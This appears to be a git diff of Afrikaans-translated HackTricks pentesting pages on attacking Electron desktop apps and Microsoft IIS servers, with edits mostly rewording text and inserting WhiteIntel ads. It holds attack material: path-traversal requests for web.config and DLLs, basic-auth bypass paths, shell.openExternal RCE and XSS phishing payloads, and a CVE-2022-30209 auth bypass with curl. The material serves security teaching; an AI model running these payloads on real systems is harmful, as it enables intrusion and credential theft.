<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekmasjien wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en losgeldaanvalle te bekamp wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
@ -97,9 +137,9 @@ Hierdie protokolle speel 'n essensiële rol in die **aflewering en beveiliging v
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -6,19 +6,33 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Inleiding
Electron kombineer 'n plaaslike agterkant (met **NodeJS**) en 'n voorkant (**Chromium**), alhoewel dit sommige van die sekuriteitsmeganismes van moderne webblaaie mis.
Electron kombineer 'n plaaslike agterkant (met **NodeJS**) en 'n voorkant (**Chromium**), alhoewel dit sommige van die sekuriteitsmeganismes van moderne webblaaie ontbreek.
Gewoonlik vind jy die elektron-toepassingskode binne 'n `.asar`-toepassing, om die kode te verkry moet jy dit onttrek:
Gewoonlik kan jy die electron-toepassingskode binne 'n `.asar`-toepassing vind, om die kode te verkry moet jy dit onttrek:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
@ -32,7 +46,7 @@ In die bronkode van 'n Electron-toepassing, binne `packet.json`, kan jy die `mai
Electron het 2 proses tipes:
* Hoofproses (het volledige toegang tot NodeJS)
* Rendererproses (behoort NodeJS beperkte toegang te hê vir veiligheidsredes)
* Rendererproses (moet beperkte toegang tot NodeJS hê vir veiligheidsredes)
![](<../../../.gitbook/assets/image (179).png>)
@ -44,18 +58,18 @@ let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
```
Die instellings van die **renderer proses** kan in die **hoof proses** in die main.js-lêer **gekonfigureer** word. Sommige van die konfigurasies sal die Electron-aansoek **verhoed om RCE te kry** of ander kwesbaarhede as die **instellings korrek gekonfigureer** is.
Instellings van die **renderer proses** kan in die **hoofproses** ingestel word binne die main.js lêer. Sommige van die konfigurasies sal die Electron aansoek **verhoed om RCE te kry** of ander kwesbaarhede as die **instellings korrek ingestel is**.
Die Electron-aansoek **kan toegang kry tot die toestel** via Node-API's alhoewel dit gekonfigureer kan word om dit te voorkom:
Die Electron aansoek **kan toegang kry tot die toestel** via Node API's alhoewel dit geconfigureer kan word om dit te voorkom:
* **`nodeIntegration`** - is standaard `af`. Indien aan, laat dit toe om node-funksies van die renderer proses af te roep.
* **`contextIsolation`** - is standaard `aan`. Indien af, is die hoof- en rendererprosesse nie geïsoleer nie.
* **`nodeIntegration`** - is standaard `af`. Indien aan, laat dit toe om node funksies van die renderer proses te gebruik.
* **`contextIsolation`** - is standaard `aan`. Indien af, is die hoof- en renderer prosesse nie geïsoleer nie.
* **`preload`** - standaard leeg.
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is standaard af. Dit sal die aksies wat NodeJS kan uitvoer beperk.
* Node-integrasie in werkers
* Node Integrasie in Werkers
* **`nodeIntegrationInSubframes`** - is standaard `af`.
* As **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js-API's** in webbladsye wat in iframes **gelaai word binne 'n Electron-aansoek** toelaat.
* As **`nodeIntegration`** **gedeaktiveer** is, sal preloads in die iframe gelaai word.
* Indien **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js API's** in webbladsye wat in iframes gelaai word binne 'n Electron aansoek toelaat.
* Indien **`nodeIntegration`** **gedeaktiveer** is, sal preloads in die iframe gelaai word.
Voorbeeld van konfigurasie:
```javascript
@ -97,7 +111,7 @@ Example Payloads (Linux & MacOS):
```
### Vang verkeer
Wysig die start-hoofkonfigurasie en voeg die gebruik van 'n tussenpersoon soos by:
Wysig die start-main konfigurasie en voeg die gebruik van 'n proxy soos by:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
@ -165,7 +179,7 @@ Die _**contextIsolation**_ stel die **geskeide kontekste tussen die webblad skri
As die kontekste nie geïsoleer is nie, kan 'n aanvaller:
1. Voer **arbitrêre JavaScript in renderer** uit (XSS of navigasie na eksterne webwerwe)
2. **Oorskryf die ingeboude metode** wat in preload of Electron interne kode gebruik word na eie funksie
2. **Oorskryf die ingeboude metode** wat gebruik word in preload of Electron interne kode na eie funksie
3. **Trigger** die gebruik van **oorgeskryfde funksie**
4. RCE?
@ -185,17 +199,17 @@ Daar is 2 plekke waar ingeboude metodes oorgeskryf kan word: In preload-kode of
### Bypass kliekgebeurtenis
As daar beperkings toegepas word wanneer jy op 'n skakel klik, kan jy dalk dit omseil deur **'n middel-klik** te doen in plaas van 'n gewone linker-klik
As daar beperkings toegepas word wanneer jy op 'n skakel klik, kan jy dalk hulle omseil deur **'n middelste kliek** te doen in plaas van 'n gewone linker kliek
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Vir meer inligting oor hierdie voorbeelde, kyk na [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) en [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Vir meer inligting oor hierdie voorbeelde, besoek [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) en [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
By die implementering van 'n Electron-desktoptoepassing, is dit noodsaaklik om die korrekte instellings vir `nodeIntegration` en `contextIsolation` te verseker. Dit is vasgestel dat **kliëntkantse afgeleë kode-uitvoering (RCE)** wat mik op preload-skripte of Electron se inheemse kode van die hoofproses, effektief voorkom word met hierdie instellings in plek.
By die implementering van 'n Electron-desktoptoepassing is dit noodsaaklik om die korrekte instellings vir `nodeIntegration` en `contextIsolation` te verseker. Dit is vasgestel dat **kliëntkantse afstandskode-uitvoering (RCE)** wat preload-skripte of Electron se inheemse kode van die hoofproses teiken, effektief voorkom word met hierdie instellings in plek.
Wanneer 'n gebruiker skakels hanteer of nuwe vensters oopmaak, word spesifieke gebeurtenisluisteraars geaktiveer, wat noodsaaklik is vir die toepassing se veiligheid en funksionaliteit:
Wanneer 'n gebruiker interaksie het met skakels of nuwe vensters oopmaak, word spesifieke gebeurtenisluisteraars geaktiveer, wat noodsaaklik is vir die toepassing se veiligheid en funksionaliteit:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
@ -208,7 +222,7 @@ Hierdie luisteraars word **oorheers deur die lessenaar-toepassing** om sy eie **
![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (960).png>)
Elektron JS-sekuriteitsbestendige praktyke raai teen die aanvaarding van onbetroubare inhoud met die `openExternal`-funksie, aangesien dit tot RCE deur verskeie protokolle kan lei. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan veroorsaak. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan 'n persoon na [hierdie bron](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows-protokole voorbeelde insluit wat hierdie kwesbaarheid kan uitbuit.
Elektron JS-sekuriteitsbestendige praktyke raai teen die aanvaarding van onbetroubare inhoud met die `openExternal`-funksie, aangesien dit tot RCE deur verskeie protokolle kan lei. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan veroorsaak. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan verwys word na [hierdie bron](https://positive.security/blog/url-open-rce#windows-10-19042), wat Windows-protokole voorbeelde insluit wat hierdie kwesbaarheid kan uitbuit.
**Voorbeelde van Windows-protokolekspluateer sluit in:**
```html
@ -244,18 +258,18 @@ function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body
Indien die **chromium** wat deur die toepassing gebruik word **oud** is en daar **bekende kwesbaarhede** daarop is, kan dit moontlik wees om dit te **uitbuit en RCE deur 'n XSS te verkry**.\
Jy kan 'n voorbeeld sien in hierdie **verslag**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Hengelary via Interne URL regex omseiling**
## **XSS Hengel deur Interne URL regex omleiding**
Stel jy het 'n XSS gevind maar jy **kan nie RCE veroorsaak of interne lêers steel nie** jy kan probeer dit gebruik om geloofsbriewe te steel deur middel van hengelary.
Stel jy het 'n XSS gevind maar jy **kan nie RCE veroorsaak of interne lêers steel nie** jy kan probeer dit gebruik om **gelde te steel deur hengelary**.
Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL oop te maak, deur die JS-kode in die front-end te ondersoek:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Die oproep na **`openInternally`** sal besluit of die **skakel** in die **skermvenster** **geopen** sal word aangesien dit 'n skakel van die platform is, **of** of dit in die **blaaier as 'n 3de party bron** geopen sal word.
Die oproep na **`openInternally`** sal besluit of die **skakel** in die **rekenaarvenster** geopen sal word aangesien dit 'n skakel van die platform is, **of** of dit in die **blaaier as 'n 3de party bron** geopen sal word.
In die geval dat die **regex** wat deur die funksie gebruik word **kwesbaar is vir omseilings** (byvoorbeeld deur **nie die punte van subdomeine te ontsnap nie**) kan 'n aanvaller die XSS misbruik om **'n nuwe venster oop te maak wat** in die aanvaller se infrastruktuur geleë is **en om geloofsbriewe van die gebruiker te vra**:
In die geval dat die **regex** wat deur die funksie gebruik word **kwesbaar is vir omseilings** (byvoorbeeld deur **nie die punte van subdomeine te ontsnap nie**) kan 'n aanvaller die XSS misbruik om **'n nuwe venster oop te maak wat** in die aanvaller se infrastruktuur geleë is **en om geloofsbriewe te vra** aan die gebruiker:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -266,7 +280,7 @@ window.open("<http://subdomainagoogleq.com/index.html>")
* [**Electronegativity**](https://github.com/doyensec/electronegativity) is 'n gereedskap om wanopsettings en sekuriteitsantipatrone in Electron-gebaseerde toepassings te identifiseer.
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is 'n oopbron VS Code-inprop vir Electron-toepassings wat Electronegativity gebruik.
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) om te kyk vir kwesbare derde party biblioteke.
* [**Electro.ng**](https://electro.ng/): Jy moet dit koop.
* [**Electro.ng**](https://electro.ng/): Jy moet dit koop
## Laboratoriums
@ -305,6 +319,18 @@ npm start
* Meer navorsing en skrywes oor Electron-sekuriteit in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksionaliteite bied om te kontroleer of 'n maatskappy of sy kliënte deur **stealer malware** is **gekompromiteer**.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en losgeldaanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -315,6 +341,6 @@ Ander maniere om HackTricks te ondersteun:
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -8,12 +8,26 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
Toets uitvoerbare lêeruitbreidings:
* asp
@ -23,14 +37,14 @@ Toets uitvoerbare lêeruitbreidings:
## Interne IP-adres bekendmaking
Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host-kop te verwyder en HTTP/1.0 te gebruik en binne die respons kan die Ligging-kop jou na die interne IP-adres wys:
Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host-kop te stroop en HTTP/1.0 te gebruik en binne die respons kan die Ligging-kop jou na die interne IP-adres wys:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
### Reaksie wat die interne IP blootstel:
Die webbediener stuur 'n HTTP-kop met die interne IP-adres in die `X-Forwarded-For`-veld. Dit kan 'n potensiële veiligheidsrisiko wees, aangesien dit interne netwerkbesonderhede aan aanvallers kan blootstel.
Die webbediener stuur 'n HTTP 302 omleiding met 'n liggaam wat die interne IP-adres van die bediener bevat. Dit kan 'n potensiële risiko vir 'n aanvaller wees om toegang tot die interne stelsel te verkry.
```
GET / HTTP/1.0
@ -45,7 +59,7 @@ X-FEServer: NHEXCHANGE2016
Jy kan .config-lêers oplaai en hulle gebruik om kode uit te voer. Een manier om dit te doen is om die kode aan die einde van die lêer by te voeg binne 'n HTML-kommentaar: [Laai voorbeeld hier af](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Meer inligting en tegnieke om hierdie kwesbaarheid te misbruik [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
Meer inligting en tegnieke om hierdie kwesbaarheid uit te buit [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## IIS Ontdekking Bruteforce
@ -89,33 +103,33 @@ Hierdie versoek onthul verskeie instellings en afhanklikhede, soos:
* **EntityFramework** weergawe
* **AppSettings** vir webbladsye, klientvalidasie, en JavaScript
* **System.web** konfigurasies vir outentifikasie en tydverloop
* **System.webServer** modules instellings
* Konfigurasies vir **System.web** vir outentifikasie en uitvoertyd
* Instellings vir **System.webServer** modules
* **Runtime** samestellings vir verskeie biblioteke soos **Microsoft.Owin**, **Newtonsoft.Json**, en **System.Web.Mvc**
Hierdie instellings dui daarop dat sekere lêers, soos **/bin/WebGrease.dll**, binne die aansoek se /bin vouer geleë is.
Hierdie instellings dui daarop dat sekere lêers, soos **/bin/WebGrease.dll**, binne die toepassing se /bin vouer geleë is.
### **Hoofgidslêers**
Lêers wat in die hoofgids gevind word, soos **/global.asax** en **/connectionstrings.config** (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die aansoek se konfigurasie en werking.
Lêers wat in die hoofgids gevind word, soos **/global.asax** en **/connectionstrings.config** (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking.
### **Namespaces en Web.Config**
MVC-aansoeke definieer ook addisionele **web.config-lêers** vir spesifieke namespaces om herhalende verklarings in elke lêer te vermy, soos gedemonstreer met 'n versoek om 'n ander **web.config** af te laai:
MVC-toepassings definieer ook addisionele **web.config-lêers** vir spesifieke namespaces om herhalende verklarings in elke lêer te vermy, soos gedemonstreer met 'n versoek om 'n ander **web.config** af te laai:
```markup
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Aflaai van DLLs**
Die vermelding van 'n aangepaste namespace dui op 'n DLL met die naam "**WebApplication1**" wat in die /bin-gids aanwesig is. Hierna word 'n versoek om die **WebApplication1.dll** af te laai, getoon:
Die vermelding van 'n aangepaste namespace dui op 'n DLL met die naam "**WebApplication1**" wat teenwoordig is in die /bin-gids. Hierna word 'n versoek om die **WebApplication1.dll** af te laai, getoon:
```markup
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Dit dui op die teenwoordigheid van ander noodsaaklike DLL's, soos **System.Web.Mvc.dll** en **System.Web.Optimization.dll**, in die /bin gids.
In 'n scenario waar 'n DLL 'n naamsruimte invoer genaamd **WebApplication1.Areas.Minded**, kan 'n aanvaller aflei dat daar ander web.config lêers in voorspelbare paaie is, soos **/area-name/Views/**, wat spesifieke konfigurasies en verwysings na ander DLL's in die /bin gids bevat. Byvoorbeeld, 'n versoek na **/Minded/Views/web.config** kan konfigurasies en naamsruimtes blootstel wat dui op die teenwoordigheid van 'n ander DLL, **WebApplication1.AdditionalFeatures.dll**.
In 'n scenario waar 'n DLL 'n namespace invoer genaamd **WebApplication1.Areas.Minded**, kan 'n aanvaller aflei dat daar ander web.config lêers in voorspelbare paaie is, soos **/area-name/Views/**, wat spesifieke konfigurasies en verwysings na ander DLL's in die /bin gids bevat. Byvoorbeeld, 'n versoek na **/Minded/Views/web.config** kan konfigurasies en namespaces blootstel wat die teenwoordigheid van 'n ander DLL, **WebApplication1.AdditionalFeatures.dll**, aandui.
### Gewone lêers
@ -198,18 +212,18 @@ C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 Fout
As jy 'n fout soos die volgende sien:
Indien jy 'n fout soos die volgende sien:
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Dit beteken dat die bediener **nie die korrekte domeinnaam** binne die Host-kop ontvang het nie.\
Om die webblad te kan besoek, kan jy na die bediende **SSL-sertifikaat** kyk en miskien vind jy die domein/subdomeinnaam daarin. As dit nie daar is nie, moet jy dalk **VHosts kragtig afdwing** totdat jy die regte een vind.
Om die webbladsy te kan besoek, kan jy kyk na die bediende **SSL-sertifikaat** en miskien vind jy die domein/subdomeinnaam daarin. As dit nie daar is nie, moet jy dalk **VHosts** aanval totdat jy die regte een vind.
## Oue IIS kwesbaarhede wat die moeite werd is om na te soek
### Microsoft IIS tilde karakter "\~" Kwesbaarheid/Funksie - Kort Lêernaam-/Vouernaam-Openbaarmaking
Jy kan probeer om **vouers en lêers op te som** binne elke ontdekte vouer (selfs as dit Basiese Verifikasie vereis) met behulp van hierdie **tegniek**.\
Jy kan probeer om **vouers en lêers op te som** binne elke ontdekte vouer (selfs as dit Basiese Verifikasie vereis) deur hierdie **tegniek** te gebruik.\
Die hoofbeperking van hierdie tegniek as die bediener kwesbaar is, is dat **dit slegs tot die eerste 6 letters van die naam van elke lêer/vouer en die eerste 3 letters van die uitbreiding** van die lêers kan vind.
Jy kan [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) gebruik om vir hierdie kwesbaarheid te toets: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
@ -222,7 +236,7 @@ Jy kan ook **metasploit** gebruik: `use scanner/http/iis_shortname_scanner`
### Basiese Verifikasie omseil
**Omseil** 'n basiese verifikasie (**IIS 7.5**) deur te probeer om toegang te verkry tot: `/admin:$i30:$INDEX_ALLOCATION/admin.php` of `/admin::$INDEX_ALLOCATION/admin.php`
**Omseil** basiese verifikasie (**IIS 7.5**) deur te probeer om toegang te verkry tot: `/admin:$i30:$INDEX_ALLOCATION/admin.php` of `/admin::$INDEX_ALLOCATION/admin.php`
Jy kan probeer om hierdie **kwesbaarheid** en die vorige een te **kombineer** om nuwe **vouers** te vind en die verifikasie te **omseil**.
@ -230,9 +244,9 @@ Jy kan probeer om hierdie **kwesbaarheid** en die vorige een te **kombineer** om
ASP.NET sluit 'n foutopsporingsmodus in en sy lêer word `trace.axd` genoem.
Dit hou 'n baie gedetailleerde log van alle versoek wat oor 'n tydperk aan 'n aansoek gedoen is.
Dit hou 'n baie gedetailleerde logboek van alle versoek wat oor 'n tydperk aan 'n aansoek gedoen is.
Hierdie inligting sluit in afgeleë kliënt-IP's, sessie-ID's, alle versoek- en antwoordkoekies, fisiese paaie, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde.
Hierdie inligting sluit in afgeleë kliënt IP's, sessie-ID's, alle versoek- en antwoordkoekies, fisiese paaie, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
@ -244,15 +258,15 @@ ASPXAUTH gebruik die volgende inligting:
* **`validationKey`** (string): heks-geënkripteerde sleutel om vir handtekeningvalidering te gebruik.
* **`decryptionMethod`** (string): (verstek "AES").
* **`decryptionIV`** (string): heks-geënkripteerde inisialisasievektor (verstel na 'n vektor van nulle).
* **`decryptionIV`** (string): heks-geënkripteerde inisialisasievektor (verstek na 'n vektor van nulle).
* **`decryptionKey`** (string): heks-geënkripteerde sleutel om vir dekriptering te gebruik.
Tog sal sommige mense die **verstekwaardes** van hierdie parameters gebruik en as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n webwerf kan vind wat dieselfde platform gebruik wat die ASPXAUTH-koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil voorstel, op die aangetaste bediener skep**, kan jy dalk die koekie van die tweede bediener in die eerste een gebruik en die gebruiker voorstel.\
Tog sal sommige mense die **verstekwaardes** van hierdie parameters gebruik en as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n webwerf kan vind wat dieselfde platform gebruik wat die ASPXAUTH-koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil voorstel, kan skep** op die bediener wat aangeval word, kan jy dalk die koekie van die tweede bediener in die eerste een gebruik en die gebruiker voorstel.\
Hierdie aanval het gewerk in hierdie [**verslag**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## IIS Verifikasie Omseiling met gekaapte wagwoorde (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Volledige verslag hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 'n Fout in die kode het **nie behoorlik vir die wagwoord wat deur die gebruiker gegee is, nagegaan nie**, sodat 'n aanvaller wie se **wagwoordhash 'n sleutel tref** wat reeds in die **cache** is, as daardie gebruiker kan aanmeld.
[Volledige verslag hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 'n Fout in die kode het **nie behoorlik vir die wagwoord wat deur die gebruiker gegee is, nagegaan nie**, dus 'n aanvaller wie se **wagwoordhash 'n sleutel tref** wat reeds in die **cache** is, sal as daardie gebruiker kan aanmeld.
```python
# script for sanity check
> type test.py
@ -272,6 +286,18 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -280,8 +306,8 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
